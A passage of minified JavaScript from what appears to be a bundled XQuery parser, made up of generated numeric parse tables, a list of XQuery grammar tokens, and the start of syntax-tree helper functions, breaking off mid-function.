3929,5447,3929,5732,5805,3929,3972,4093,4097,3929,3905,3929,4408,3670,5786,3929,3929,3929,5447,4693,4517,5803,5807,3929,5046,5056,3929,4434,4245,3929,3770,5321,3929,3649,3929,3929,4977,4223,3929,5830,3929,3929,5450,5042,4423,5838,3929,3929,5507,4159,4423,5838,4248,5847,4578,5805,3929,4548,3929,3929,5813,4423,5854,3929,3929,5552,5542,5859,3929,3929,3929,5564,3929,5786,4235,3929,3929,5566,4810,4103,5807,3990,3929,5059,5357,3929,4549,3929,3929,4549,5416,3929,4674,3929,4868,5532,3929,3929,3929,5710,3929,3831,3998,3929,3929,5712,4818,3973,5866,3929,3929,5739,3929,3972,5865,3929,3929,5745,3929,4964,3929,5180,4523,5824,3832,3929,3929,3929,5777,5545,4965,3929,4409,3929,3675,3738,3973,3547,3929,3929,5841,3929,6277,6502,5875,6282,5878,6547,6266,5881,6546,5889,6232,5882,6232,5892,6221,6267,5888,5883,5884,6232,6232,6232,6232,6414,5887,5883,6232,5891,6232,6232,5894,6232,6232,5922,5937,5949,5938,5939,5949,5944,5950,5944,5944,5940,5944,5941,5952,5941,5944,5946,5945,5946,5946,5946,5946,5947,5941,5948,5952,5948,5944,5942,5954,5956,5958,5962,5960,5959,5964,5966,5967,5971,5967,5968,5967,5969,5974,5973,5976,5978,6293,5998,5875,6282,5896,6871,6437,6282,6321,6282,6282,6282,5917,6456,6456,6456,6456,5991,5906,6379,6455,5990,6019,5991,5904,5904,5904,6456,6456,5926,5899,6456,6456,5997,6282,6408,6410,6282,5932,6282,5933,6464,6024,6282,6282,6379,5924,6282,6282,5924,6282,6362,6010,5984,6282,6003,6282,6362,6282,6282,6282,6004,6456,5906,6455,5990,5904,5902,6456,6456,6456,5906,6457,6019,6019,5904,5904,6456,6456,6282,6282,6282,5980,5917,6456,6456,6456,6455,5905,6456,6445,5926,5926,5926,5926,6032,6032,6008,5932,6282,6282,6282,6434,6024,6282,6019,5904,6456,6282,5896,6873,6282,6282,6282,6474,5903,6457,6019,5904,6456,6229,5904,6456,6456,6456,6018,6457,6019,5991,5905,5906,6282,6282,6282,5984,6282,6282,6282,5925,6543,5905,6456,6456,6456,6282,5905,6229,5905,6229,5905,6282,6650,6437,6043,6515,6056,6672,6088,6052,6515,6520,6054,6060,6058,6515,6515,6083,6528,6101,6761,6518,6521,6516,6517,6063,6065,6068,6061,6057,6515,6515,6519,6515,6070,6072,6066,6515,6515,6515,6515,6125,6522,6074,6515,6515,6076,6515,6523,6079,6082,6515,6081,6055,6091,6089,6090,6093,6114,6092,6113,6114,6114,6114,6114,6115,6117,6116,6117,6117,6118,6119,6120,6121,6121,6095,6097,6099,6122,6123,6124,6524,5900,6515,6518,6103,6108,6110,6104,6105,6109,6106,6112,6121,6127,6129,6282,5899,6282,5925,6463,6321,6282,6294,6006,6378,6282,6508,6282,6449,6646,6218,6604,6282,6524,6291,6282,6774,6282,6270,6282,6282,6282,6e3,6e3,6027,6161,6282,6282,5895,6375,6282,6312,6230,6366,6265,5876,6282,6282,6282,6015,6406,6282,6284,6027,6027,6137,6282,6282,6379,6281,6372,6028,6159,6282,5899,6282,6282,6282,6573,6282,6282,6467,6282,6311,6312,6372,6282,6282,6282,6019,6019,5904,5904,5904,5904,5905,6456,6456,6031,6154,6158,6282,6149,6273,6282,6163,6282,6677,6280,6166,6279,6682,6685,6501,6173,6175,6178,6178,6178,6178,6176,6181,6180,6181,6181,6183,6181,6185,6187,6188,6188,6188,6194,6193,6194,6193,6193,6189,6191,6190,6190,6196,6196,6198,6203,6202,6204,6208,6203,6205,6199,6200,6210,6206,6212,6282,6282,5896,6282,6282,6282,6512,6282,6150,6135,6320,6500,6163,6282,6282,6282,6026,6282,6026,6166,6282,6282,6282,6027,6221,6282,6505,6282,6282,6282,6032,6238,6282,6241,6282,5899,6451,6282,5913,6669,6401,6238,6282,6282,6282,6037,6245,6282,6282,6282,6040,6282,6282,6225,6248,6282,6282,5916,6722,6377,6247,6249,6282,6282,5924,6370,6252,6253,6282,6282,5932,6282,6282,6530,5924,6254,6282,6282,6254,6282,6322,6228,6282,5933,6378,6282,6378,6282,6452,6282,6432,6317,6282,5917,6086,6725,6727,6216,6086,6726,6450,6231,5926,5933,6008,6008,6008,6282,6282,6282,5918,6282,6282,6282,5923,6309,6683,6282,6282,6282,6148,6216,6308,6310,6282,6282,6282,6149,6282,5903,6397,6605,6282,6282,5933,5933,5933,6780,6282,6282,6282,6229,6282,6282,6282,5933,5924,6316,5917,6723,6377,5916,6722,6323,6448,6454,6216,6332,6436,6683,6282,5917,6328,6465,6450,6217,6231,6160,6436,6683,6328,6448,6454,6216,6610,6436,6683,6282,6221,6602,6310,6282,5984,5899,5925,6229,6435,6500,6281,6722,6013,6465,6450,6160,6603,6683,6282,6282,6231,6218,6310,6282,5984,6282,6283,6043,5914,6282,5933,6328,6465,6450,6647,6604,6282,6e3,6282,6282,6283,6277,6707,6733,6282,6722,6465,6230,6396,6282,6282,6282,6235,6686,6282,6708,6281,6282,6e3,6437,6362,6338,6279,6282,6282,6283,6444,6145,6683,6282,6282,5933,6003,6282,6282,6282,6006,6375,6465,6708,6282,6005,6282,6282,6287,6289,6282,6548,6282,6282,5933,6282,6282,6282,6137,6282,6282,6020,6282,6375,6282,6282,6282,6281,6471,6218,6683,6282,6282,6282,6370,5984,6282,6010,6795,5984,5899,6282,6282,6661,6282,6e3,6137,6282,6282,6282,6282,5896,5914,6704,6273,5928,6340,6344,6503,6348,6349,6349,6350,6355,6352,6349,6349,6349,6349,6354,6355,6355,6355,6356,6357,6357,6357,6357,6357,6358,6359,6359,6359,6359,6383,6360,6382,6382,6382,6361,6282,6282,6282,6283,6043,5903,5897,6485,6376,6395,6425,6282,6282,6282,6293,6291,6338,6282,6282,6282,6284,6282,6282,6345,6282,6282,6291,6282,6282,6282,6230,5876,6282,6407,6282,6282,6282,6286,6282,6282,6037,6411,6417,6282,6282,5979,5903,6470,6313,6647,6281,6282,6282,6408,6416,6418,6282,6282,5979,6525,6458,6342,6422,6282,6282,6282,6288,6282,6664,6731,6282,6012,6e3,6282,6012,6335,6310,5985,6504,6282,6282,6273,6470,6372,6273,6504,6385,6282,6282,6412,6257,6598,6600,6282,6411,6413,6597,6599,6599,6282,6282,6282,6291,6410,6282,6322,6451,5926,5926,6008,6008,6008,5932,6236,6282,6282,6282,6292,5982,6282,6283,6442,6050,6013,6609,6259,6424,6310,6282,5919,5920,6282,6282,6011,5916,6282,6664,6282,6282,6023,6437,6459,5983,6013,6594,6700,6437,6282,6424,6437,6282,6282,6235,6480,6481,6282,6282,6133,6282,6282,6485,6376,6647,6282,6016,6282,6282,5933,6330,6454,6217,6683,6282,6282,6484,5917,5929,6011,6608,6259,6425,6282,6486,5983,6013,6594,6786,6437,6282,6282,6282,6294,6282,6283,6484,5917,5983,6013,6531,6471,6282,6282,6146,6683,6282,6282,6155,6282,6282,6385,6282,6322,6282,6282,6275,6493,5917,5983,6324,6259,6729,6282,6019,6019,6019,5991,5904,6277,5903,6531,6011,6148,6282,6282,6282,6234,6531,6282,6282,6282,6322,6282,6133,6372,6505,6282,6230,6282,6282,6171,6756,6531,6046,6834,6437,6282,6282,6285,6530,5924,6282,6684,6282,6149,6282,6282,6282,6325,6285,6530,6045,6159,6024,6046,6386,6282,6282,6282,6372,6282,6294,6282,6530,6464,6386,6282,6282,6215,6224,5933,5924,6410,6282,6040,6282,6482,6282,6282,6282,6531,6536,6024,6282,6282,6282,6370,5987,6282,6535,6282,6282,6227,6282,6282,6282,6378,6378,6378,6282,6452,5994,6282,6282,6282,6394,6282,6282,6282,6404,6539,6333,6683,6282,6020,6282,6282,6282,6341,6282,6570,6300,6569,6301,6370,6545,6300,6302,6303,6303,6303,6303,6303,6304,6551,6554,6552,6561,6552,6555,6563,6564,6563,6563,6563,6563,6564,6556,6557,6557,6557,6557,6558,6372,6273,6282,6282,6243,6282,6509,6566,6282,6282,6271,6213,6282,6283,6568,6282,6021,6041,6282,6027,6282,6321,6282,6006,6282,6282,6027,6462,6282,6282,6282,6572,6282,6168,6282,6575,6510,6282,6029,6282,6282,6282,6588,5907,5909,5911,6282,6036,6282,6282,6388,6407,5908,5910,6282,6282,6272,6282,6526,6282,5916,6322,6282,6378,6282,6020,6282,6278,6282,6282,6394,5924,6278,6282,6283,6502,6365,6282,6579,6282,6282,6275,6525,5914,5992,6371,6048,6365,6367,6369,6282,6282,6277,6531,6046,6275,6583,5993,6047,6256,6256,6366,6368,6282,6282,6452,6e3,6282,6282,6282,6408,6282,6027,6282,6372,6526,6282,5899,6539,6664,6682,6282,6282,6282,6146,6282,6482,6282,6006,6451,6282,6282,6282,5985,6458,6342,6313,6136,6152,6282,6037,6378,6282,6282,6282,6421,6584,6020,6437,6683,6282,6027,6321,6282,6451,6646,6152,6282,6282,6282,6410,6282,6282,6282,6375,6282,6e3,6526,6322,6533,6682,6282,6408,6282,6282,6282,6505,6282,6282,6278,6282,6282,6282,6143,6371,6472,6282,6282,6282,6423,6539,6437,6683,6282,6040,6148,6040,6149,6273,6229,6682,6282,6470,6282,6282,6283,6282,6282,6282,6524,6548,5933,6282,5933,6282,6434,6410,6282,6282,6434,6537,6282,6664,6491,6866,5876,6482,6491,6282,6282,6283,6410,6282,6427,6282,6282,5980,6011,6276,6037,6285,6038,6590,6783,6607,6612,6620,6619,6620,6620,6616,6620,6620,6618,6622,6620,6614,6613,6624,6627,6626,6627,6627,6628,6630,6630,6634,6630,6632,6631,6630,6630,6630,6636,6638,6638,6637,6637,6640,6641,6282,6132,6282,6282,5895,5924,5984,6282,6640,6637,6640,6640,6640,6640,6505,5903,6644,6331,6649,6282,6282,6229,5879,6282,6527,6653,6148,6282,6137,5924,6282,6282,6282,6230,6281,6282,6282,6306,6402,6433,6346,6656,6658,6549,6282,6282,6283,6475,6423,6282,6282,6282,6437,6682,5912,6668,6400,6282,6157,6282,6282,5896,6451,5980,5917,6029,6221,6281,6282,6282,6524,6282,6282,6282,5930,6664,6282,6264,6683,6694,6282,6282,6282,6452,6282,6282,6282,6285,5897,6453,6654,6282,6346,6295,6282,6282,6283,6582,6297,6282,6681,6282,6164,6024,6282,6133,6451,6282,5988,6281,6285,5980,6458,6371,6263,6647,6281,6282,6676,6282,6676,6514,5903,6680,6465,6489,5995,6282,6282,6283,6496,6085,6282,6513,6525,6679,6688,6688,6399,6713,6281,6282,6286,6282,6037,6282,6282,6282,5899,6691,6497,6724,6488,6734,6282,6282,6282,6498,6282,6282,6282,6255,6282,6283,6691,6696,6724,6488,6698,6331,6222,6282,6282,6282,6431,6296,6282,6282,6282,6499,6282,6282,5903,6464,6231,6734,6696,6134,6733,6281,6693,6282,6282,6434,6282,6282,6282,6277,6525,6531,6471,6218,6231,6490,6282,6282,6282,6504,6548,6282,6283,6278,6282,6275,6710,6733,6282,6169,6282,6282,6509,6003,6712,6282,6282,6282,6508,5899,6702,6490,6282,6282,6283,6861,6854,6033,6858,6646,6218,6604,6282,6282,6282,6577,6286,6282,6394,6282,6229,6019,6019,6019,6019,5904,6286,6282,6137,6282,6229,6282,6292,6229,6282,6282,6372,6505,6282,6437,6683,6282,6229,6146,6265,6282,6283,6525,5927,6539,6729,6683,6282,6282,6650,6282,6282,6283,6863,6364,6024,6282,6282,6283,6869,6282,6362,6282,6362,6363,6010,6592,5925,6719,6591,6593,6718,6721,5934,5934,5935,6469,6736,5934,5934,5934,6736,6738,6742,6740,6739,6744,6746,6751,6751,6752,6753,6747,6748,6748,6748,6749,6751,6751,6751,6753,6753,6753,6753,6758,6754,6755,6282,6282,6285,6282,6282,6282,6014,6760,5981,6007,6728,6282,6763,6282,6282,6285,6496,6531,6282,6283,6768,6770,6282,6282,6282,6539,6392,6282,6282,6392,6027,6156,6282,6282,6293,6586,6282,6373,6281,6285,6507,5903,6470,6326,6505,6659,6282,6234,6229,5879,6283,6496,6703,6776,6704,6777,6282,6282,6282,6548,6282,5918,6025,6282,6282,6026,6282,6286,6505,6394,6282,6291,6370,6282,6370,6282,6496,6085,6831,6147,6603,6683,6282,6380,6282,6282,6370,6282,6282,6282,6003,6282,6294,6336,6e3,6282,6239,6846,6282,6260,6282,6282,6282,6642,6379,6282,6505,6336,6283,6702,6782,6319,6218,6604,6282,6785,5999,6282,6269,6663,6282,6140,6282,6282,6393,6282,5982,6724,6319,6218,6604,6539,6310,6282,6282,6375,6370,6375,6788,6320,6310,6e3,6e3,6282,6282,6375,6548,6282,6282,6282,6275,6084,6447,6282,6788,6429,6683,6282,6282,6664,6683,6282,6273,6541,6148,6282,6394,6e3,6282,6274,6282,6003,6318,6429,6683,6282,6275,5898,5915,6282,6282,6370,6370,6370,6664,6282,6683,6282,6410,6282,6699,6282,6275,5901,5982,6724,6291,6282,6282,6531,6689,6282,6282,6220,6282,6537,6282,6282,6282,6664,6146,6282,6282,6434,6281,6282,6282,6282,6020,6282,6006,6410,6408,6282,6027,6282,6282,6250,6843,6434,6410,6282,6434,6410,6282,6408,6282,6322,6282,6410,6410,6027,6282,6275,6702,6231,6490,6146,6282,6146,6282,6282,6282,6671,6146,6410,6408,6408,6409,6409,6409,6409,6409,6282,6282,6282,6682,6282,6282,6285,6039,6216,6221,6281,6286,6282,6282,6790,6543,6282,6505,6003,6282,6559,6282,6282,6559,6508,6792,6282,6077,6139,6282,6282,6379,6374,6793,6806,6798,6798,6801,6799,6798,6799,6798,6797,6803,6808,6807,6808,6805,6808,6809,6810,6813,6814,6815,6816,6815,6818,6811,6813,6811,6813,6820,6822,6822,6821,6821,6824,6824,6824,6824,6821,6824,6824,6828,6825,6826,6282,6282,6282,6683,6282,6282,6689,6439,6282,6277,6715,6282,6282,6282,6510,6035,6282,6282,6282,6684,6282,6282,6282,6233,6282,6716,6282,6580,6419,6282,6836,6282,6281,6282,6282,6283,6293,6337,6282,6838,6840,6282,6282,6666,6282,6143,6292,6282,6282,6292,6282,6282,6282,6378,6845,6282,6282,6845,6282,6487,6282,6282,6391,6391,6651,6282,6282,6282,6730,6512,6282,6282,6282,6830,6853,5931,6141,6428,6602,6604,6282,6282,6409,6410,6282,6852,6854,6856,6450,6002,6282,6001,6003,6282,6645,6231,6281,6282,6282,6674,6282,6167,6282,6282,6e3,6282,6e3,6034,6282,6282,6282,6848,6282,6394,6683,6282,6282,5933,6003,5933,6003,6282,6830,6645,6231,6222,6487,6282,6024,6282,6282,6693,6282,6282,6282,6464,6861,6854,6009,6377,6525,5931,6011,6465,6282,6830,5885,6282,6282,6702,5931,6319,6436,6683,5916,6282,6282,5925,6282,6282,6448,6282,6282,6931,6282,6282,6451,6282,6282,6282,6860,6044,6011,6465,6449,6647,6310,6282,6282,6142,6436,6683,6282,6282,6732,5924,5984,6861,5983,6377,6454,5982,6321,6282,6294,6138,6282,6461,6151,6437,6282,6282,6732,6772,6860,5983,6465,6151,6437,6282,6865,6282,6282,6282,6860,6337,6437,6282,6282,6466,6282,6144,6436,6282,6282,6282,6868,6219,6282,6282,6282,6468,6282,6282,6732,6282,5916,6262,6299,6282,5918,5918,5918,6378,6282,6282,6526,6282,6148,6282,6283,6293,6586,6292,6502,6437,6282,6282,6282,6294,6282,6292,6294,6282,6282,6474,5980,6293,6291,6282,6282,6292,6502,6282,6278,6294,6282,6278,6282,6282,6765,6282,6229,6362,6282,6230,6320,6500,6282,6505,6282,6292,6502,6282,6505,6233,6282,6282,6293,6282,6282,6282,6474,6478,6291,6278,6282,6282,6292,6531,6536,6875,6255,6282,6282,6476,6282,6006,6255,6282,6006,6390,6282,6314,6049,6282,6877,6878,6881,6375,6880,5930,6282,6532,6542,6883,6596,6258,6885,6596,6595,6595,6886,6889,6595,6888,6890,6889,6892,6897,6893,6894,6895,6899,6900,6905,6905,6901,6902,6912,6903,6902,6906,6905,6906,6905,6906,6907,6909,6908,6910,6914,6908,6908,6922,6922,6921,6922,6923,6916,6917,6918,6920,6926,6925,6928,6460,6371,6282,6282,6482,5932,6321,6285,6282,6282,6494,6371,6930,6282,6282,6282,6505,6494,6371,6130,6282,6282,6282,6505,6506,6282,6282,6282,6312,6933,6282,6505,6935,6282,6282,6937,6282,6282,6767,6769,6290,6282,6282,6282,6505,6692,6011,6313,6291,6233,6282,6282,6508,6282,6282,6282,5916,6030,6282,6423,6170,6282,6282,6170,6011,6372,6282,5916,6282,6282,5915,6451,6440,6282,6282,5918,6322,6283,6939,6446,6705,6447,6291,6282,6282,6294,6282,6282,6282,6438,6282,6282,6511,6282,6282,6282,6842,6149,6282,6149,6282,6282,6779,6007,6728,6310,6282,6282,6319,6310,6282,6282,6363,6282,6692,6011,6372,5916,6282,5915,6282,6282,6511,6268,6286,6282,5924,6282,6282,6833,6282,6279,6398,6282,6282,6014,6282,6282,6282,6601,6282,6439,5933,6133,6282,6148,6282,6255,6282,5914,5931,6705,6282,6282,6850,6282,6850,6282,6372,6282,6372,6282,6149,6282,6505,5914,5931,6291,6282,6282,5982,6585,6282,6282,6660,6291,6043,5914,6291,6282,6282,6283,6043,5899,6282,6282,1048576,1073741824,2147483648,1075838976,2097152,2147483648,4194560,4196352,-2143289344,-2143289344,4194304,2147483648,37748736,541065216,541065216,-2143289344,4198144,4196352,276901888,8540160,4194304,1,4,16,64,0,48,64,32,64,64,96,0,59,140224,5505024,-1887436800,0,63,64,128,0,64,256,0,110,110,8425488,4194304,1024,0,128,128,512,512,1024,1024,2048,0,256,256,257,37748736,742391808,742391808,775946240,-1371537408,775946240,4718592,775946240,775946240,171966464,171966464,775946240,239075328,-1405091840,-1371537408,239075328,171966464,64,4718592,2097216,4720640,541589504,4194368,4194368,541065280,541589504,4194400,-2143289280,4194368,-2143285440,-2143285408,-2143285408,-2109730976,775946336,776470528,-2143285408,776470528,775946304,775946304,-1908404384,775946304,-1908404384,2,8,32,128,1024,4096,0,260,8392704,0,1856,64,524288,64,896,8192,67108864,2147483648,96,262144,262144,8192,0,288,8388608,0,384,0,512,2048,2048,4096,4096,8192,8192,16384,0,520,520,96,524288,524288,0,2432,2048,268435456,0,24576,0,32768,32768,65536,1048576,128,2048,12288,0,12289,0,16384,16384,32768,0,1864,2,16,1024,98304,131072,262144,1048576,512,5120,2,536936448,80,528,528,2097168,2097168,268435472,524304,1048592,2097168,24,560,48,2097680,1048592,3145744,1048592,20,560,48,3146256,2097552,3146256,28,16,8192,2,2098064,163577856,17,21,112,128,3584,8192,2228784,-161430188,-161430188,-161429680,-161430188,-161429676,-161430188,-161298576,-160299088,-161298576,-161298572,-160774288,-160299084,146804757,146812949,146862101,146863389,146863389,148960541,-161429740,-161429676,146863421,148960541,146863389,-161429676,-160905388,-161429676,-161429676,-161429675,-161349072,-161349072,-161347728,-161347728,-161298572,-161298572,-160774284,-161298572,16,262160,-18860267,-160774284,-18729163,0,58368,159383552,0,65536,2097152,8388608,33554432,0,66048,0,77824,524288,33554432,1024,262144,2097152,16777216,67108864,0,131072,524288,134217728,2147483648,1,32768,196608,0,131328,131072,16777216,100663296,-1073741824,164096,0,131584,2621440,0,139264,0,150528,0,235712,16777216,1073774592,1226014816,100665360,-2046818288,100665360,100665360,-2044196848,1091799136,1091799136,1091803360,1091799136,1158908e3,1158908001,1192462432,1192462448,1192462448,1870638912,1870655296,1870638912,1200851056,1200851056,1091799393,1870655296,1870655296,1870655312,1870655316,1870655312,1870655312,1870638928,1870655316,1870655316,1870655317,1870655316,1879043952,1870655348,1870655316,1879027568,1879043952,1879043956,0,284672,229440,1048576,2097152,67108864,134217728,8,4194304,16777216,2147483648,1224736768,0,503616,2048,100663296,0,524288,2097152,4194304,4194304,0,40,0,44,-2046820352,0,605503,231488,1090519040,1157627904,1191182336,9437184,231744,52e4,7864320,1862270976,0,867391,1862270976,1862270976,16252928,0,1048576,4194304,25165824,25165824,33554432,8192,98304,1048576,8388608,134217728,268435456,4194432,3145728,0,24,0,29,0,32,1,2,2,4,0,2147483648,2147483648,0,0,1,0,2,0,3,240,19456,262144,0,4,8,0,6,0,7,150994944,0,1049088,1049088,12845065,12845065,147193865,128,6144,4194304,251658240,536870912,1073741824,32768,131072,1048576,4096,83886080,117440512,0,3145728,16777216,134217728,0,2048,8192,229376,0,2304,1536,8192,1536,65536,4194304,67108864,536870912,9216,33554432,262144,134217728,1073741824,50331649,9476,512,8192,134218240,1050624,0,5242880,1275208192,4194312,4194312,4194344,4194312,541065224,4203820,-869654016,-869654016,1279402504,1279402504,2143549415,2143549415,2143549423,0,8388608,4096,4194304,8388608,16777216,33554432,-1946157056,0,8192,131072,0,1792,0,1024,8192,65536,0,1536,2147483648,2143549423,2143549423,2143549415,1,16777216,268435456,512,139264,2760704,-872415232,0,19947520,0,33554432,67108864,1073741824,1073741824,262144,7340032,-2030043136,0,331776,300,4203520,4333568,1275068416,0,16777216,16777216,0,999,259072,4194304,4194432,999,29619200,2113929216,0,58720256,1007,1007,0,67108864,402653184,536870912,2048,1048576,16777216,536870912,300,0,83886080,0,2097152,134217728,536870912,0,49152,0,57344,102,384,6,96,128,3072,16384,65536,524288,1048576,0,4096,262144,524288,96,96,64,384,512,4096,65536,131072,1024,65536,262144,131072,32768,256,384,8192,33554432,2147483648,1,6,8,8388608,96,384,104,104,0,134217728,6,32,256,512,65536,7340032,50331648,0,8396800,4,32,384,4,64,1024,2097152,268435456,1073741824,8,262144,512,0,8,8,16,0,9,0,12,0,15,16,16,17,20,16,20,48,16,28,0,16,32,0,21,53,4,256,1024,524288,536870912,256,65536,16777216,1073741824,2048,524288,32,4100,1024,134217728,1049088,270532608,2097152,2097152,0,23,5505537,5587457,5591557,147202057,5587457,13894153,-1881791493,-1881791493,0,134218752,5587465,5587457,13894153,13894153,81003049,4456448,8388608,5505024,0,134348800,134348800,82432,0,142606336,5,86528,41,75497472,81920,0,184549376,2,56,64,2048,262144,536870912,2048,134217728,-2113929216,16777216,1073743872,268435968,229376,25165824,92274688,25165824,100663296,402653184,1610612736,0,100663296,134217728,805306368,1073741824,8388608,268567040,16384,229376,4194304,117440512,2113544,68423701,-2079059883,-2079059947,85200917,68423701,68423765,68489237,68423701,68423701,72618005,68423701,68425749,68423703,85200919,69488664,69488664,70537244,70537245,70537245,-2076946339,-2076946403,70537245,70537309,70539293,-2022351745,-2022351617,-2022351745,-2022351617,-2022351617,0,243269632,256,32768,1048576,33554432,134217728,-2113929216,0,268435456,49152,266240,1048576,67108864,-2080374784,-2080374784,268288,0,301989888,0,318767104,282624,0,536870912,28,3145728,192,351232,7340032,5,16,1049104,12,3145728,13,0,1073741825,192,3072,20480,0,1073741824,0,262144,2621440,-1073741824,20480,65536,268435456,14,32,512,131072,268435456,192,1024,64,32768,33554432,268435456,4,128,3840,16384,262144,128,2097152,1073741824,4,2097152,4,50331648,67108864,128,50331648,1073741824,128,268435968,268435968,268436032,256,1536,2048,16384,98304,393216,524288,268435456,536870912,9216,0,4194304,50331648,2147483648,256,536871168,-1879046336,-1879046334,-1879046326,-1879046334,1073744256,-1879046334,-1879046326,-1845491902,-1878784182,268444480,268436288,268436288,268436289,268444480,268444480,2100318149,2100318149,2100326341,0,1090519040,2100326341,2100326341,1,16,536936448,576,0,832,8192,1,4036,19939328,2080374784,0,1,1024,768,8192,16384,19922944,2080374784,1,128,4096,3584,16384,524288,8,33554432,402653184,2048,3145728,128,131072,268500992,4243456,4096,1048588,0,1258292224,1124073472,1124073472,1124073488,1124073474,1124073472,1392574464,1124073472,1073754113,12289,1124073472,12289,12289,1098920193,1132474625,1098920209,1132474625,1132474625,1124085761,1124085761,1124085777,1258304513,1124085761,1400975617,2132360255,2132622399,2132360255,2132622399,2132622399,2141011263,0,2140749119,2141011263,2,16384,3145728,12545,25165824,268435456,12305,13313,12561,0,78081,327155712,605247,1058013184,1073741824,867647,1066401792,0,1,12288,256,8388608,1,30,32,1024,2048,339968,327680,524288,1,14,16,14,1024,16384,4194304,134217728,1,12,1024,8,134217728,8,536870912,9437184,0,68157440,137363456,0,137363456,66,66,100680704,25165824,26214400,92274688,25165952,93323264,92274688,92274688,92274720,93323264,25165890,100721928,100721928,100787464,100721664,100721664,100853e3,100721928,125977600,125846528,125846528,125846560,125977600,125977600,127026176,281843,281843,1330419,281843,126895104,125846528,1330419,1330419,72633587,5524723,72633587,92556531,93605107,93605107,5524723,5524723,39079155,97799411,127290611,127290611,131484915,0,17408,33554432,1073741824,58624,0,124160,189696,148480,50331648,2,112],r.TOKEN=[\"(0)\",\"PragmaContents\",\"DirCommentContents\",\"DirPIContents\",\"CDataSection\",\"Wildcard\",\"EQName\",\"URILiteral\",\"IntegerLiteral\",\"DecimalLiteral\",\"DoubleLiteral\",\"StringLiteral\",\"PredefinedEntityRef\",\"'\\\"\\\"'\",\"EscapeApos\",\"ElementContentChar\",\"QuotAttrContentChar\",\"AposAttrContentChar\",\"PITarget\",\"NCName\",\"QName\",\"S\",\"S\",\"CharRef\",\"CommentContents\",\"EOF\",\"'!'\",\"'!='\",\"'\\\"'\",\"'#'\",\"'#)'\",\"'$'\",\"'%'\",\"''''\",\"'('\",\"'(#'\",\"'(:'\",\"')'\",\"'*'\",\"'*'\",\"'+'\",\"','\",\"'-'\",\"'-->'\",\"'.'\",\"'..'\",\"'/'\",\"'//'\",\"'/>'\",\"':'\",\"':)'\",\"'::'\",\"':='\",\"';'\",\"'<'\",\"'<!--'\",\"'</'\",\"'<<'\",\"'<='\",\"'<?'\",\"'='\",\"'>'\",\"'>='\",\"'>>'\",\"'?'\",\"'?>'\",\"'@'\",\"'NaN'\",\"'['\",\"']'\",\"'after'\",\"'all'\",\"'allowing'\",\"'ancestor'\",\"'ancestor-or-self'\",\"'and'\",\"'any'\",\"'append'\",\"'array'\",\"'as'\",\"'ascending'\",\"'at'\",\"'attribute'\",\"'base-uri'\",\"'before'\",\"'boundary-space'\",\"'break'\",\"'by'\",\"'case'\",\"'cast'\",\"'castable'\",\"'catch'\",\"'check'\",\"'child'\",\"'collation'\",\"'collection'\",\"'comment'\",\"'constraint'\",\"'construction'\",\"'contains'\",\"'content'\",\"'context'\",\"'continue'\",\"'copy'\",\"'copy-namespaces'\",\"'count'\",\"'decimal-format'\",\"'decimal-separator'\",\"'declare'\",\"'default'\",\"'delete'\",\"'descendant'\",\"'descendant-or-self'\",\"'descending'\",\"'diacritics'\",\"'different'\",\"'digit'\",\"'distance'\",\"'div'\",\"'document'\",\"'document-node'\",\"'element'\",\"'else'\",\"'empty'\",\"'empty-sequence'\",\"'encoding'\",\"'end'\",\"'entire'\",\"'eq'\",\"'every'\",\"'exactly'\",\"'except'\",\"'exit'\",\"'external'\",\"'first'\",\"'following'\",\"'following-sibling'\",\"'for'\",\"'foreach'\",\"'foreign'\",\"'from'\",\"'ft-option'\",\"'ftand'\",\"'ftnot'\",\"'ftor'\",\"'function'\",\"'ge'\",\"'greatest'\",\"'group'\",\"'grouping-separator'\",\"'gt'\",\"'idiv'\",\"'if'\",\"'import'\",\"'in'\",\"'index'\",\"'infinity'\",\"'inherit'\",\"'insensitive'\",\"'insert'\",\"'instance'\",\"'integrity'\",\"'intersect'\",\"'into'\",\"'is'\",\"'item'\",\"'json'\",\"'json-item'\",\"'key'\",\"'language'\",\"'last'\",\"'lax'\",\"'le'\",\"'least'\",\"'let'\",\"'levels'\",\"'loop'\",\"'lowercase'\",\"'lt'\",\"'minus-sign'\",\"'mod'\",\"'modify'\",\"'module'\",\"'most'\",\"'namespace'\",\"'namespace-node'\",\"'ne'\",\"'next'\",\"'no'\",\"'no-inherit'\",\"'no-preserve'\",\"'node'\",\"'nodes'\",\"'not'\",\"'object'\",\"'occurs'\",\"'of'\",\"'on'\",\"'only'\",\"'option'\",\"'or'\",\"'order'\",\"'ordered'\",\"'ordering'\",\"'paragraph'\",\"'paragraphs'\",\"'parent'\",\"'pattern-separator'\",\"'per-mille'\",\"'percent'\",\"'phrase'\",\"'position'\",\"'preceding'\",\"'preceding-sibling'\",\"'preserve'\",\"'previous'\",\"'processing-instruction'\",\"'relationship'\",\"'rename'\",\"'replace'\",\"'return'\",\"'returning'\",\"'revalidation'\",\"'same'\",\"'satisfies'\",\"'schema'\",\"'schema-attribute'\",\"'schema-element'\",\"'score'\",\"'self'\",\"'sensitive'\",\"'sentence'\",\"'sentences'\",\"'skip'\",\"'sliding'\",\"'some'\",\"'stable'\",\"'start'\",\"'stemming'\",\"'stop'\",\"'strict'\",\"'strip'\",\"'structured-item'\",\"'switch'\",\"'text'\",\"'then'\",\"'thesaurus'\",\"'times'\",\"'to'\",\"'treat'\",\"'try'\",\"'tumbling'\",\"'type'\",\"'typeswitch'\",\"'union'\",\"'unique'\",\"'unordered'\",\"'updating'\",\"'uppercase'\",\"'using'\",\"'validate'\",\"'value'\",\"'variable'\",\"'version'\",\"'weight'\",\"'when'\",\"'where'\",\"'while'\",\"'wildcards'\",\"'window'\",\"'with'\",\"'without'\",\"'word'\",\"'words'\",\"'xquery'\",\"'zero-digit'\",\"'{'\",\"'{{'\",\"'{|'\",\"'|'\",\"'||'\",\"'|}'\",\"'}'\",\"'}}'\"]},{}],11:[function(e,t,n){\"use strict\";n.TreeOps={flatten:function(e){var t=this,n=\"\";if(!e)throw new Error(\"Invalid node found\");return e.value===undefined?e.children.forEach(function(e){n+=t.flatten(e)}):n+=e.value,n},concat:function(e,t,n){var r=n?{}:e;n&&Object.keys(e).forEach(function(t){r[t]=e[t]});var i=Object.keys(t);return i.forEach(function(e){r[e]=t[e]}),r},removeParentPtr:function(e){e.getParent!==undefined&&delete e.getParent;for(var t in e.children){var n=e.children[t];this.removeParentPtr(n)}},inRange:function(e,t,n){if(e&&e.sl<=t.line&&t.line<=e.el){if(e.sl<t.line&&t.line<e.el)return!0;if(e.sl===t.line&&t.line<e.el)return e.sc<=t.col;if(e.sl===t.line&&e.el===t.line)return 